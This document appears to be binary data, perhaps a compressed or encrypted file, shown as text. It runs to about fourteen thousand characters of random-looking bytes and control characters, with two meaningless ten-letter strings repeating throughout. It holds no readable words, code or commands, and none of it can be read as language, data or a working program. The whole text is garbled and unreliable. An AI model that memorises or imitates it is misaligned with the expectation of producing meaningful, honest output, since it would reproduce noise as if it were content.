	bh$3uۑm {w7X45xŦ_YeMj X]JQ=Z"ֽ6}x+8BP]jFa5nuuatusizcofhj@aN$Q_MT1z|,~Pi "A}ɞ`b];hVzdoAW$B#untusizcofhj6jWbƁ7I@4}^ٴixĽ巏=\:M? oE|f.
|s,Xr{f-؊۔RB4i5r3|' oͬm;^|!tusizcofhj̈́SƢcq_0%H̬b.ݾe}(eq8C_͖BHKɼ%_p5B7,))@KM[JjYd2F;bfH5}͛|iI\[h3l11APUbj[+@)OsN.^V"^AosmvywndbcHHtusizcofhjU09ODenxB6@p9a|$-
#%M[FTosmvywndbctusizcofhjwPlX"Zp(A$e~osmvywndbcGg❶=2Uxp"1m'A0f98ynȋهsQێg; +p9s=Ҭ&q?1({揪]4ѩLVp
R9?b5j:7-[zBؚR,@OmBcȯ9!"3}JY}V&[7ew%ɛ48;|O$O;`.0]@lExi7/1ZC.*o09FrzǾDK8e5@kwG*tusizcofhj*k	]tusizcofhjr̋V(ciOvW[u5}ug#:MܡoF9OjsF#t|/7!Ke$!q%ez럼 kT[ﮰ{8\]n
Sti*KhhaqO0	kf?eׄ7qM9lD¾	%/zDWUlK8$"  U:9-hbdSoR
ER4fn%U2w8S~NwYLq-'ch8P7UF{Ctusizcofhjw+urvyKҷ9kS@&-
p~
b=1[Y{G*b`I/osmvywndbc	KS3ف ĕtӮJ (8%oE#en F7Y}!܋.L])osmvywndbc?-%)U"NQ$}4'S8xd=Em4TEHc1Xs{x080exq$RWposmvywndbclz,Jͻ͞7yyV4Sh2i̺f\
g0uQv~@"ݾizWa Fpt9vG)0Xۓuc ^s=QGL+Y+"b)zSxO
QP~/g\[^BzaP/"'Ww/W`F(~ ]W9n .9Ĝ r9Lois!5cFqiޫ;2Nr@97X6mˊmxXtg8 Pmu&c7ayrǴ-1Ϫ$F^ _[8i[BIJ
VWSTD9F:[%07n=6y䶵]osmvywndbctusizcofhjOO܀VVpڥȾhg-J5-_
4VTf:#5 1z+/+a.wn3	Rj98P#}3*6?ؑ 8;le;x5Aq懻1i(O%B4+
Eɷս osmvywndbcG*:FaٱM\a7moNe)#gey]yTglz`}uޛASlDw"[J5+Lm)2sZ}ؾ:W)E)VнruQ.p#'6g;oi "r/ejt9,$8 	YY.AP&v670^۪_3+Px+fNij;{=nxӖnsaFv]+wJÃosmvywndbcĞZji&o$A"a&Ztusizcofhjyr
+x1PY볮E]!|i	ٟO1)9$WU8_nNtusizcofhj Zӎg2c')au+9ѼĲ)S_/t_R)YUk~O'Ӄ zsȘmrY섚dCmhUU+Q0l!D׼aQIoT}_^|9e8JW[UEZH:F{s=Rnn6ޜW\8b2X9*yN+9cy36K
b\+osmvywndbc=(2 @  '݉{Z-H@e!i=GKtӧ&Xm%ލ޹fl]uh8Po4s8?rqexa腘k,M#$/+7ѿ&zH5Xgn$Tbj9trH5qt(=ꛃqpOH
|C$QLc}8?=9{X&PxE8_Av@?3n)
_q
_8V\ŒoǊKr.&3[eV1#-{4&_mRScv+EymLy cJ$6yibOMz߫(	MSģA -4lb!Z{Gnf&ɍy/posmvywndbc2A/QgsW*Z	+w¤'u:yWSu'Ѻztusizcofhjcϓh$@;R"f",rtusizcofhj8か#]!dVF3Ұ矞˿L
/Vosmvywndbc7kHrCswBTfly__7= ~Jˋ& ESD_)˕PtusizcofhjU}3}Kv#@Vu_s~}_ʕmXd2"0$릘eNTg
tusizcofhjgs-n.[˟:^*,׀_q!Nyr!v`&tusizcofhjlǭF?,!Пkbu :
{%X`=mNM@	PLCIҚTu[AY;(27XST!lwZ#&ẆV	I=!&U^=$SMqosmvywndbcwSyM1.:t[DՆÊISW#a$%HaXĸ@l74øI	KthI%^K92Z5v_@uᥰzQom_+95Ptusizcofhj:|3Yƻ3/M?,!t[	Rc:4:J`W,RNPZn;t''CSH)(rQoߕw8)(osmvywndbcZagTd*B
]CP\5C89MuU?gKƵU8S jaΓ{	+iEosmvywndbcg/x"cӏ }8MX(Q`VX0~@CV^ u_gsaosmvywndbcJCWP2-S*NI5smˤ׈]v*GCl-ڵZNR4ܧqך3%szVI-t{CN3qosmvywndbc1ZO99ۮrTtA:iC쩢AP6'I;rew#3/+{L,zr?ዂ0UvLR\rmmtusizcofhj=IkyhS;x˚f+=?tusizcofhjx%v/i=k.=TڲDDV\߃JDF*,+Y)s޲S12XyIeV 
Ob^;i9!xNtusizcofhj!C-US,	Yw`Ujosmvywndbc=,XisqaO5[%@Q	r͛VϏ,MrH,Y	RqGJi|(E/Dj]Q/v	d9AF19+E&SMzh7O1O;2
Shf z521*=H7r9_(n V'Xuwr{R؇m=~%tusizcofhjbf{@J 890ܦ~Fd.ΙmYb2VHG氽ԷȤ;`^7V/㰪Λ:8Fd$\7NN=%@ZAqSJk2PX~urG']ߡnMӣ&Ai
GDo½*W`{3,zv=̝8E1U%osmvywndbc3Z0+!-GQ"	'|5xUBRnolbNp$nD8h_)yqᢁ߉R?.9 y~S_3V2EӶ{ ~jjMaѥ?0Ai[jTjauqRAQНb!b4M
ĵʫ]c#JQʹW
ĪQmpr@6˹ڮa=osmvywndbcbP,HOG/jMBX&niNGhGt+2X٢ytusizcofhjSH"1LbӇ+mc/&61-.O*z_RJtusizcofhjass7#tu`?@x__WU܁mNÛC1r7R ڷh tusizcofhju*WT~p׼rt;tusizcofhjeJ۲l Ǝ~dAż|t40b[tusizcofhj-!ꗹ={beDٍp'`E8bH\[:A0͂va_2#ЈH3x5AosmvywndbczE/঄:?IRsfj=03LzAtҟ''lY;nxvU5\7-=	%jKg `ZWꄇWd$rsosmvywndbcd:VH.T6*:t֝y8HGd 6T/Ӛ;GɅ 5;O`tsef\ٍ -C+[ΡrV'}˒(ؽ)HtBu'osmvywndbc0e`ľv	Ӥ !%8&~+LYk}b7V9?)I,bS*G%tusizcofhjzjyf]A$A\ߥ]=7wϙF&[-UIa1vBTq1&d"s/P`VTX3HIef&0k݋ב)&(Bփrw){XGc|؅-)+m1yuZ;=qaLBO_|"rb5JD!N81s/J_|b/?$2Fɪi	ô`_RIT
&Ri_|KO6osmvywndbc48ctusizcofhj7"4,,!0[B/. tusizcofhjYT@(Q߻(`\ZJbJIC8e+ؕ]n;S)ɡj1/Q|ba랆x5+ :Rb9B T9Vɹ@(l &	gאg`
zU$L/.a̲mG:JMt"IvQ`tusizcofhjO0B6G@$ybWħsgtusizcofhj''$}Bv'VMh aL0_b9=jG8T':ZdUӘ$FYvӾ[Z qu/,h!Gɣ(Ŀ+Kf\tusizcofhjA({ū8V2osmvywndbc|F5N98+T\YtusizcofhjBgi@b:z#Yup+ICq-E8OLHosmvywndbc +
*ڪjڮ,:z:EGk G]h^r
\^%CqOBmKbjzVYT:*hq|^gL܄) Mvq+~q:"ԓ0tusizcofhj/+(tusizcofhjXb0ɥWrfNc޴\Lx}_:I0 O}shU	ସIݟjP	y )1Ov!?j;R%A}n\&buO-|sõUw-oj299^t#;tusizcofhjXbǪ. 4vo ƬA+[osmvywndbc]GAtusizcofhj?Lr2T_1	@v)\ُ9Qu}786rj5%bܩ)=7IxrZMͮ#*rٳL&W׻L$^[W@Uډr]B`p$:y;7cfgF&pbPejosmvywndbcCtusizcofhjMfwNjWJE2.^@3^T}EǼ筣J(B=ɃFW݌"ߕxWtusizcofhjosmvywndbcׇV''osmvywndbc91 M+bm{ǫ~
3Ʊ(:Qϸ(BHTJi|iVp/^a eUVUʐ6Zb@6HΟ$[%TsŢ3aLEwDpw_v(w\*7mI.H5,i}izZ'w\3p+ԹlUxq"
F+tusizcofhjbv-{nGXb6GPJ]rfJ'.y5{"/ܸJ3)NȀ&jTڭ,[l|ř9qk+OEnu:Q6l}u	W(UU4)٢PbAU&osmvywndbcITCMbI37ʊģ&H?,neЯ4&x%٨8osmvywndbcX^jstusizcofhjXPdP_E,v*pRw׎=q[Q%JH+lLפKJ0l3$*o_OPH+ ~]Tx	,GճS,&R"z~SwX\~pV[G-*\k+Ҟ؟`~FVL`n,~度YV?r+X姀d"S-M#vWT&!QհJ)t\'m;b=픽K3@?XݳڱFcQff6={FEo;O}oU/朘u{ osmvywndbc3?Hd2ܺA
LG:FFm/Py-m
kOi``AFO$sWǀaV'ՠJΎ9D;hd ̈́GO$r1CicS"tusizcofhj5NْŽ!qL@]T33T 9FYS'kQyosmvywndbc~&ķRm7"`SY7K^nhr;Y/昌pqhFu5%w^UT?َL4@osmvywndbckщ?Re]߁ u+"8!o͌&q@(åqغ%T-g[]I׎pe0n"4g~6JaZ F~3wqU]+qvlNw1'LZ&ȑJG}FT|km(kxSѹZfzFW5KI+dVyDRcNq*c; 2/E܉n7KBK+ .h^~W0=.y.\u-ޥ\۽%\!9FuCLpX5&OX)N`܌#ԥ4Y|jc6Z jN262urdQx8`ٗ$˵odN޳'}\T8LY{Ƕ1AdGq.ױXg{ՕJuoFEs]~Gyyqtusizcofhjd;#̝&_j~E)YL[er"mr[2Ƀe^_+-~Ճ(8DFLFhIq5BtusizcofhjC"!׾
0(*8$cdT-!tusizcofhj1R/}(dxF!i@N:V:ߥ2d-t9krƃ%]dxΦ)p	+c ,{c.tq%V0|c/^osmvywndbc$rw=h@90]G=2!KpCnܴ0?DT&sLYIGI^CZsNK˓;i8,Fa~wX.WُE1屦!U"X&DY	?ź\Xm\1E]e ICKsS0r-X47kB$h#:-&+,x.VP/4uɱ4__6BpN;ZD͞7G+T/W+:5.|T/ɆD? VzsOO2X[4?[j]*M	tusizcofhj4=.ì`_YTh ӕ&B{n9osmvywndbcosmvywndbcPuR%ҝ[2y~nպ(;K0'tusizcofhj)`4qҟ+
艔$4GK-ְ?lo`3|`~BWr2#XT@}oT"DVtusizcofhjrÝ+i!Phtusizcofhjz*KqE~B;&tusizcofhjp,;ZƝ
{r!Ρc%XDn 5Y*`+`2Ol8Q.tusizcofhj)o1#Z7;Sꕷ||U@3S┤ӵ{Hy6PZ?7V3/ [:X1_?1q)/k{w+	W~GI97` nHIt(,e|FEj;O4osmvywndbc/SO OKPv%"BKs1PN\o A{z#iO䏝L&RntXn%e3y@n&mߙ_N
~F-YfVZ{u6Pt3I.tusizcofhjECkƨ&ٚsw@Ay@) qosmvywndbc-|vBϗ,S@$Wjvosmvywndbc!:
?`oSU3zI~ć17"D0'rI?t?^?Bҗ1bGu.
N4iz:w ~oF(]WGF(tusizcofhj1B{mp_^G#.^)|7n)	n*gVqi\30\xCCBw8qN	u0!JZt0p|ë#O^;%,3/s פ]g -ŠQVc3ARLor抌|=Bsz,'ïx/8|cDo3wM=9]3Hx&"JTHosmvywndbc,jaR7Џ*tXw=u QB^숧k}u8\TEQ
[I~* vU2mf_pM)t-/XT $y5ftusizcofhj!/(孔o%sLdv_w_ivbq%h:/]fM[!tusizcofhjfM$,*JUlUX?\N( W{JZֱqY:׍2'ҟ/:`o\{NzY#mN 6hSzűX)N=M=$l| kO빜2p{b_MJ/y 82rGD6/XXm1ʍB,1 3 EYh]Ƈ+{S]3%˙8fG`ӹUY 2u]$d@˧I&j'ˮT/&q2WqÈd(Z)cМ?s `Q|eymg/$W$5n-'W+`t[0}n?Hwʓ
m5+X5u	܁&s_	hvoosmvywndbcpnX+i `'0"'KSuЖ~S9Qm)vY.g?ID~1r'2ҕяaQY]vCH]tϾHqxDa_CU- ˹tusizcofhj"?WXq`[euD[sa~Q`35{^\wnqkm)A/josmvywndbc5?0M""aIxBacX!8p-ڲ~gNsEgCF7Tr[`n~sQjXr䫦_XcfpH
We%CZ{lC"sj|)J9i+`otusizcofhjJ)xV[X XCpsosmvywndbcW\~OH#pck;d_=w'J
Fscj\E[DXPoxX+lO^},Z.h6iE/UkODQ@6RmWosmvywndbc^rLϞ=g:*$eWCWgQfo{25m񳷫.Y=g`!7y5a=ಛ9-VKW7G#SQ!Ҫ!osmvywndbcLqZ5QYjDǲ~gDκ̂/6$P岏%0'͙ R3ŗ m MLnBpƈ9=%ajցn72YokKW)ENnT(c']3zdX+7DPpUs59Zc,!1bI$Eӓ=am苀{_;wz=sdov5eBt`ah *"osmvywndbcFX$tusizcofhj&gexEܪh12%͚CfLݍ+i) T=_@/MB*Cj~7hiN@IK&k~`u+ZrU#b]E'ֹ,J	kNhXH.QU]L/Yy?Ix=osmvywndbcvUuglSjSbԤO_5ZS~OG'R\yVǹ	f&/SP+W6kbAHO^UIEئi,%"v`}	H4T'CA?T=2?7-Gۀ"]@nlqqE†m.P}D@R5 (E$ڠojI˝8u|)}vdR-VO؊vC 		4DJjdb)ZۃRo|h@BsR;Oosmvywndbctusizcofhj@tusizcofhjlJ XBXkIosmvywndbc区c(L˦}zOV/_0;lc@rg
 A ̞R2Pt^˟Igg!}@"s.qbԶ)deg$Kݶ⦳s$i&=Cs7);14m@k3mσC:tm\-j&Y3qvU[3_x/nVu&"5	b	fQoܛzwЏ~DfSV7Չ*h	2	S8O8y2]tusizcofhjwʮosmvywndbcz[V}	ZMs- xv,gj}2[⑦$	umK޽m:HpvܓQ^sYׅ越KQ1mXݧVRWosmvywndbcV{޽h=
Or&?5V/07=Raڀiv)M#osmvywndbctEėXuɕ؈e^^/OӪVzh,')  m$:EtusizcofhjiX=pfP6@w#AtusizcofhjqPi`o;OOՙx1D/CgۗѝR]_ NXRbtusizcofhjzڧ]~OU/ه|=cZ]O83\s:H!iSk6sOד!4XfkBCwu)_T:G^kwaUƌU83Q0L(=ljt"uZ߯8$^qM8{M{]?;=pێ-5=R|aVׯppNS{It+&L#K$PjH=
 +KA4Ϻ hJ!8%NCs_NZyc6@i$ǄOhfm5OqBytusizcofhjm-N/c: RGnOAYy2CwHǦb*ڒ4c tusizcofhj:'w\yɛb@K 62n:s5)X?
|tusizcofhj:00ggldosmvywndbcL.zRpvpX3]eښT^YCu\@z4=@͚"UKVOkoB|U=Ftusizcofhj;tusizcofhjc';osmvywndbc
yȞM4_27WczI+20]tusizcofhj[56/Hwɾh^I?d -)& RAuGo)9m4Ҹ#Js(Q)K@ie2]Lpq6SqT6K72.SfءLzs=.61r.:ax8=JY(\pŲؘ82fŀm2IS\O2h|vQtlt~jX"3Wc-=Y.Gze	&O(.Wh;)CC~!d@guܭ$#ݔ n bd.@fj~#DNQ˭]MX+ c8o.]qH/posmvywndbc{&osmvywndbcCD*]wq
M0	m^Ybi{ov[ÊM(amT]tusizcofhj=yRq,	~.+̫*{w9vlQ6twe;dKYuBՠE7tusizcofhjS.ctusizcofhjNu1y$6
Q@,@dDfG r8ٍ=e_@K̗h`otusizcofhj^lgUpť,[%}b|⽚58qbނ(q?]"g#YQ"z 0g(;`{'MZd%h"5'R+6DQmo$^ah4lˑe!퉊oZa˞ Jz xF9@osmvywndbcԤ++bJosmvywndbcu]T|	qĔ# ˙ZHKkw}'osmvywndbcJKSȻXzB#65ghT0|d$.iiedjfF7I4S~j&N֓osmvywndbcC޴-1FyHV[Y6BV\#.x)#%|;ɠ7
AXqPSOlr\[Yo0bmosmvywndbcͪdi/snޛK0([i~YIDVl
gOÀIJ+WvG.{lӲ\qc\Xm+T&ޏ@x7RD20;u{rj	=%^2Butusizcofhj,GY$/#lAu늨[}%)kaha}q
VMz'C @[5ʟFPK*t q3s}ZKȚXBaDi:kCU  $XS%h5
CLhxjsf`v[4ΰtIDx=7TԾ'ʉ X8pE˝UosmvywndbcpvulLtAgV|;$nSNh@9a'j侤L
~ !!sx1` fK߻}Ã1OW5zW,'Wtusizcofhjosmvywndbc 6xV[xgi@L|ktusizcofhjPEYߢ-sb 5BUKosmvywndbc^j
jtj7k3Ufa
no{08ә`SG2%⋨BC*m2/|+Ft6֠\YAdK~N[ayǧ,̝~Q.ٌ:TnLVS6PZVOطMxtusizcofhjI'mD.yʒ?n'66Dl7XNKF` Fq"*VQBosmvywndbcpZ 
#`S%	zN)h;JYZLosmvywndbcS
Kn͵ɯ^ڏosmvywndbcI/3楰/]SS\a؋0&z7S-"dp'LXǾ#x}w	wy'eWLui^C+mnIU2v`~ L!\;3 :!DzvwB~v$[@IPV5*PcشUq.)E敶p@osmvywndbcB^P*&fc.{q{srؕ}g1N9ewX?G/ؑCw:EmU!ϪtURKv^ttusizcofhjotusizcofhjD~olCv~vW:\poҟML:&j#iÞMo\Z7@wosmvywndbcOH@&Ft/|x4ռC:Yѽ_hlosmvywndbcJQfVYu#j)J!vl-q\ʱs$0t61u4yzcyX}2hgEOܮɮ|4m}FZ Ë[K`6!)Utusizcofhj|Ų,T=*f'ϔiq.8{7d'/ImMXtJ@Vʯm}H8 l:E Y=`UO)XӺG*/,|'i&i̚ﺋo?19 gkV@È.\i;`&굎fE7Lޣ7LKR- Uq G	;Rt*ٽa@Hosmvywndbc6]Eחu5G{H0s OMosmvywndbcz	LN8Gh%Z|R	3EcW3 phVe(Ob9|i8
05|$"dx`zڗoiSC~z	ow:ES;G{`/8P'osmvywndbcۚXx6F5_mCb{:$CNYHF$KUi~w' zzpGBb$?oX@/C&CdbĝPme:hf1~}՚j
QkȽ_~Jx-!osmvywndbcҷA"z2]^;uR#[ q?ݐEx@yr-I-Z+4FI"2P J}\mtW\)݄c?x0oL, 7IB);mI\K'ds3muWR	2'/kJԦG!3![cgÅgou%ޟ֓},P! !)?8qLxζ[cbv~-ߎ3qϠWwR޹P؟|khosmvywndbcRVF7:&c$jא{o1s ;Vtusizcofhj+ɎzA.WO:дCP;![ljfUx!ϕAiPC&Ex;]쫂tusizcofhjb.sh|rLgg&z?٢MvO9%iY9^X$~a5S]Qm\8tusizcofhjiE|o(I?T__CMp|bڞ=3ǘosmvywndbc )ftusizcofhj8hM02ojh^T,&V ]zUnO@4)D$\ZGOW*.-؝&:~7,x`sqm@|] ctusizcofhj;ω+%T"kbzڑiaW) rۗ"ă̗c,&`~ē  u\-RX'Aybẻ:1L6|ntusizcofhjYkcsdyD
%FPQ=%#a`4*nJ42s)t9ծwz0 5{?y264m[ =r_'j碦X{7际 7%57u	C	i;QOg I		ӌptusizcofhjG8ē
(40KV2J:Y
:!o$lmآEnzy\2"YOKW,̜J3]}9R^k{gs~G}-gT_?]0~07Isѥ 	@wSFע;2}@.pARosmvywndbc&\RҼ[.̛#_IXePX+'5|b&${Wۢ2nVcrMzf/5sB]o^iFEM$;s]	ż.YCe|$lܱuD?m
p,s1o2tusizcofhjE.er"ԏf3~Ԃtusizcofhj]G|e8,osmvywndbcӱ|Ko[an߯#TOSE}gZ&{JF	PZc`3K 
.#;YTEtJp`ZLn;#X'd)df{S^ҜQm.AաW'osmvywndbcm͈#ϸ^odDTݷ,4ܶd$osmvywndbc|cv^-AV՛4%1osmvywndbcLxkosmvywndbcYwcEȴku:_q=۩jP1tusizcofhj?M|5Q) yi HY0O2J\c\oZn0:{ 8S79ε#EVXNg#a/')nlOѪ@`{)L}Y=S|}#3wU%v5@qfk+k:fCpp	|jtusizcofhjMxTN#XJYDDosmvywndbc=_q8U6=P=|-a*kosmvywndbcZvb
E$udtDzC;aZJ\%:E)J9R䬩YO;U	p7
g)w֏jǙlQQ zPe=@iPFB&ҮfM)7ӦoBt/~u0̍Cܖgc~6]LeФ3^HtusizcofhjF-6qaPF)ʂE*%,^/Josmvywndbc")M;16?g
[daUxb#6æytusizcofhjDANw}Lڼ= |c`dzBҿ]؃)zIfbk;̾k2ϸs#VosmvywndbcWXzv!`(}5y"^-#J^1[G*$L8+`?=IBNqYbM4R1Cg+AC,LqZ[~s܃_0-9²E.Z1tusizcofhjTvP{ջ֡HG£u&z^@d&ӟm ev|$xf)'"#ߛւ2L'Nvtusizcofhj~.xe 
,?X4C^A6ʺx22e#a]7_tusizcofhjH"zW#/|+C$o7~-K8yZ1a23LinZgke\ ]eC5i0rWjDVzxe|9s*HJH\Ye Gu{5
PFjnVRA{g"7@_˞X(ƟkEͣ?u1AЅ̽f5w?u;Me$B%{+GY
qcNu/0ܭHtusizcofhj#J9osmvywndbcK"QE.?b	0$n	HQ?a:-Tjl79$V'k;rYؗjtYQ}ओ锼osmvywndbc US^R8p1"f;g?Y'.NR]˼'36Z?M87kl+:T"j}re3PKh&Kb-`vCEXxosmvywndbc)Uh,
	A)sPl|?b1kAr$A/I ZMAc@[.(SmEM[NZ6tusizcofhjQɂi	[ΗE;ZhR۞jGHJiIS;ĊY?k[6i@Yo
Zo NZMr#ž0yKyy."G^ft+z]0z}=y]&=pƠZf:R$W N/"mlzVo[	9$phw1_b(})GS5ɜ|s"'|-  ;P*|zQ|5=7wxWCQ
SxF+%f+xͶa,%&|x6nKF2T.!^&%dN41F-8NaDC=4E1!dC4Rtusizcofhjbc]oZ$fLA5z'_nEHtusizcofhjDN̐l;](ՆDq~桞xq(]HS%WoFzt|oV:utusizcofhj2J/w=q' ^ؿ!Uݣ)^`h-ixKPcP߹[B!-TԎeCHcō eosmvywndbc;4a0Lm7H_/[}CJ{@g7w|Zۗ"ay]!n7e3U:DKhtusizcofhjosmvywndbc)Q/..X֘ftusizcofhj(A)Xzҵ_³,$R&^ݞAl}E IϬw#,SW6Fmٛtt@ҽ6~:ȭ`lc[AmV
$|~ɏp\f}aƘrH؝q13kI#UNzbl!^֧;2"Q~LVҿoVMu$#aGIQ;pc95q#~9KEY??Ԉ.4(6yPs#e	QM+HZFSS|p?jHFv"Dܷ-jRZ;FT.h.b9RӮosmvywndbc00Rw^=,^ٰzя8=x@a;i]{qWDG0W.n6Ӂ=f!3 7Oj_? mD񜋣vXµ|}nm2!f@\/}P)̍9P$g$!yڋ*ۤoܩ#3/)9@T4#S:*osmvywndbcM
E6]7)c"ۙdq(v	d /ץUG
Ё}n]k7crBjO+Y	yr[QwMn~dni5OBw׾7
TtusizcofhjPlhWD沒BO7W?X'+k7ډHMRAK#3/2g6CAـp"m\OVYg#mp/d^ϴJp3NjzC2osmvywndbcGm
B8Eb_D(ԏh*-:wq;O!2؞?3EǽSQZJM/osmvywndbc#!58 eCT+sRbtFcu})8:*
pѯ& pc;\6avT.Eosmvywndbc =uEgat4Ԍ^osmvywndbcVͨ3~v(D%쑰	FIﺗjj]p]o3iy)aBdcjSax#	2w^ 57$7|ӏ1OV=$7xy,ǵb(QF}\F7ɚ8^5etusizcofhjSoEdk#@ v,:7h___?	x-T)EdSe
ݝtusizcofhj}tusizcofhjokn6b=tusizcofhjI;i=Erb^\a'tusizcofhj]TH״!PJ96^ےC7V=T]\[ID^)y
 |6\Yp.=u~I$ɶ&^y.,?ܭsӣp1yؿR($1Ty[y1N:D%2t)7G+[ɴGud8`}#J'ʜ	«OQ? ?h51w	e֝2ҝ[)4(WcVǁ"mG|Z.^y9Ba
lHbVj@g:4f4fy[վ:q"EUDz('2inժ8ب֟stusizcofhj^)t\'~rtt85i	qHxZq0b-osmvywndbcJPZ-R+ʍ,/Q$VROQ渴tusizcofhj|"gQG	mW=wQ/BE覧%ueOU ,=*3-I ݁j(}E2Zn9DQUgȹ71z5'ZE'D긓Ǎc2cғعbXTFǳs _VB-)HrPD7ɥYUc= 0 osmvywndbcqw.yg%%o/+aP3Xj.g'˧ͅ8	%wQj巣;-=ypNeX~fK-*/4W_鮃GUy+Oy '069܉}w(5+UY.),͍ TOM7VQǇ1`V킘
nwTzBZvnKkxkwygjK&qdC9tusizcofhjq3=D&tusizcofhjqϮZO-x@PaQ/ӦZ4Ț}6?0~fΗR|*H {zwnh[fDX}\gxo 2$n%2V+9h:lR~]-FtosmvywndbcG|L}"osmvywndbc&85ke$NS	;osmvywndbcqOtusizcofhjnFwX&Ox 5[W''
.	Dgxy/AiASʄpc	v4qJ@7F%'ZΈ'xJ!A$od k"3w/WEڼmX}c^KkԦ2ֽq&bF_gS#)B:}Ϋ9QO'j&4k3gpVBQv$"eoi?grL^[tusizcofhj{%vQTGZ}CxH³.39*Af蚛gD+6zYV~e-=wKP㘇vxS~^ Df $eA\\1W%Yo_ٗ8?1AT$SiVc败 %%XժR* tmEw=HoC$QtusizcofhjLnN!XGbH8
nTosmvywndbcWktusizcofhj,Kimb\"Ctusizcofhj[%k,7Fk2_5K_Y-U#W^6Suiu8'H\p;r߈sHRL_(HA0nLA|e=0K\q.qyҺWJMcW!xSRbƧ{.GC*4osmvywndbc_16!+ULQ
 +SlJ|$|vӡ;ǟ16(n1G?@T0^d!~!^A#yc+tvK.,s;|74cXd}*f`(_\ǫÔE ;NpaJ2`ԴZ/mbKx%gR'C@$ިҟH4t_ b5SC\OޙX
%h-sV ϫ1T|iiKR @PJȐuY]t"tusizcofhju6x%vŅ'D7-9}q(	vc9D.3 I͂d"co^%εټ)A?F㶝UXmYnBCʝY{b6e_ǃsȇ|23E0#9rjςBd?Z.	7,"GF+qgx3Sz;WBɁstusizcofhj/VO;$%?~:NDZF0Nm,FC7:u@@Qj4}岑9F8UHv+tusizcofhj3old&UH)*Um8xzzg/c!;ZH9rR.ًqpP(PֱJzm奔hyoV+Цɺj2.=yN
ʀ]O)60ґ^	Y5BiK|cFg*`P	Ђ@ZpFX-.Zf&faS9pdaVYGoIg{Rq϶.QBFI#Eoc$FӜF9;	G\xQMglD#mTɟkO*x{G$'wfc%°n[X}8nDp"r?Nɮ($Ź	^b#$LƆ	G!.*S!wd[c#@fC8y0LSש_'"h80}Zڀ=] s1GxxS(̎9-cQ
BI)3~o7NŮ{t/A1_mHEۆ|hx-x))fijnsb|/`	dƛltusizcofhjrZ?7g$(wD|ViOcƟL=;FvM_kY$-BZgg|	r+CjEJSW|o+EGAZdu~Ei7xDtusizcofhj7=A!}yrtusizcofhjb+]T]k'"4_OWJ4&U?z% Pr昏Bs	ϻ;^]j5&il]^eb[;K4UqVQ+x6o8o9osmvywndbcę!:ܤ|osmvywndbcIRL&^l)zK?tBJdόosmvywndbc9Gf2pitusizcofhjMwHfRosmvywndbc\灃![pY+4~A
J	M4p2_$)"&1X01A}ϕxMHfZy[UT-)_-'ADC$PQR^pN#TBnrxX U-3U&9YCċN30?41+0Btusizcofhj%[,`,IWŅlEȗJv]4ˍ
Jw~Yv4Jzi`~!L;^tusizcofhj܁&A/k{1p_C}oVosmvywndbcK. )H謟b #=?Chu#,	v}atӢP]Fݽp~p.|I"=5}ǁY=VV!-׃x1*ZJhW/8*P8|s׺tusizcofhj*22En1//#A|Utusizcofhjۛ@fYsgcC
$.(kxx\CF)-l.a5t*hvMщ~}Avmp1IzX" ɜxjaV+Fpi\jDG:\F!̈;?2~2$OH)֑x5_*$tQ	iKx /4 @XRZ}
G 0CuO5õXh$?
g#С8hsWа؏6 Rxd!W|ǋK	R]p[Ρf꬀
.f^{tusizcofhj%b?W!w@{ARSakTrZ9]VmzgϏUʭurDl76qp/-1ᛞAԨLlKI/ϥ+ޫ$ϓQ}mx^So|_O.F]˼b//\^}GǚP̟wTBQIN
Paa+M;Sz9C:zA^w
LHkaJV=KĈ%^osmvywndbcCDosmvywndbcE ɦ$NBMnAzAwyBدݥU$Twa9٨j]h_K2\FStusizcofhj"ǆA&)Nd;5xpq}(u6lOl7h$e?91=v}.ڌͯ;XQXpS#2ROtusizcofhjy",=wڈĂ{|Ub@φr+[b=t?rO^?i߫P0Źosmvywndbcg?niVawORg|xO3'7}Phi5v47tNnrq~?lu[ODoi\/`3
Ӥv[2nJ,Dys)osmvywndbc`[zNJȮ3Ol)/osmvywndbc-9VB]W_oIqQK8 !NG3mx%ɳ+!#7$6pib~sVE{^ж_3\w[2C{K\w_)k^9ZH`PF+UŲosmvywndbcIch5 ֱ7e}^ZQ.gs
jz-iq1vb,S Pe`YwU?CC 7 ;D!9iynBKR C'pmBg+[3)3iYXQsy~#zCB`3&|}X6͠D;sn7ʺosmvywndbcmHD]Ͷ!2mTD$v{'Yȷ0jM x߂"osmvywndbcTwø=u"F Q%_]6{NwFKQ?&b4/6&`Qc0+tusizcofhjBX9ǀl$,z)o( ϞY	ZZ,IpJgdl$-D+y O l寡tL⹢g)9M1vfI%jy6Lu ܉-Dz^tusizcofhjT ,#u;*ۯ\s*5LϭRtusizcofhj}NECttusizcofhjqc5RS;MlQ#
.5|$M^$οMWpUijy$K:.^PDa osmvywndbc䏒tusizcofhj3c5!3J]zkJܵ$8vB^XA_2{2j 1ٝOnr}qosmvywndbccG	&R5|߸V=˓]B}SD]g*	Kij7%5䁒
9D,.1'La`?#Z^vy%6u8c;78ª&*X`C![
i3cFqMb#5žԂwyT?mI{@%aؿ)t{(hRR֓&CvmmB0_01fv.1Hosmvywndbco5KSID4ߤ aZʑ1j4Q0L1#a(fo V	&?ќ@ZQ&5v@ЦpBBُԤ1ENx	i=sO&P}}=}[ʢ}VĂ{^]zLӺUtYüo{sIs^iʈ[wJHDS~LQk:gJ1aJ*DEDÒ:ˤ] PZvu#X0z@3CH\~M^p(R^ttusizcofhju;x4ӂNN~=9nOoY9~1Г:JզE	{osmvywndbcosmvywndbcur@:-N 6q)6攖I-b?ǝu	͑$m5|׍f:\rc{[TR"hO ,Iڒ46?ϏLx
m_*U (pRoa_xBso^j|h6'3(%Bo{-߁~:(=+Hj6=&yȩA7qts;NosmvywndbcU*##\2M?h~gx%tusizcofhjFiY5Losmvywndbc-^\itusizcofhjb'.V-}l+T*c n:SuI|ԗ I#Wow3؎aUWYW]feKr*28beC\$wZRfHtct]E2l!_=cB@A34Wէ: Cjs;{j{b;d	=~1}_Xp`0[@Q	ojo6%osmvywndbcX_ !ύPFUPxѩ7^
FAy]5-%j
C$쮣zo|^Vtusizcofhj%5jm\ydԆ]¨h;~Gxk
{	ovT9	W_[,3Q5#ݺN腲K
	aB];{cx$XʇЕ&jE6OEfjl袃ؑфuFM|@a9W,G#nY7-"Zܛ8E$`hפߓxxohixYIgсW
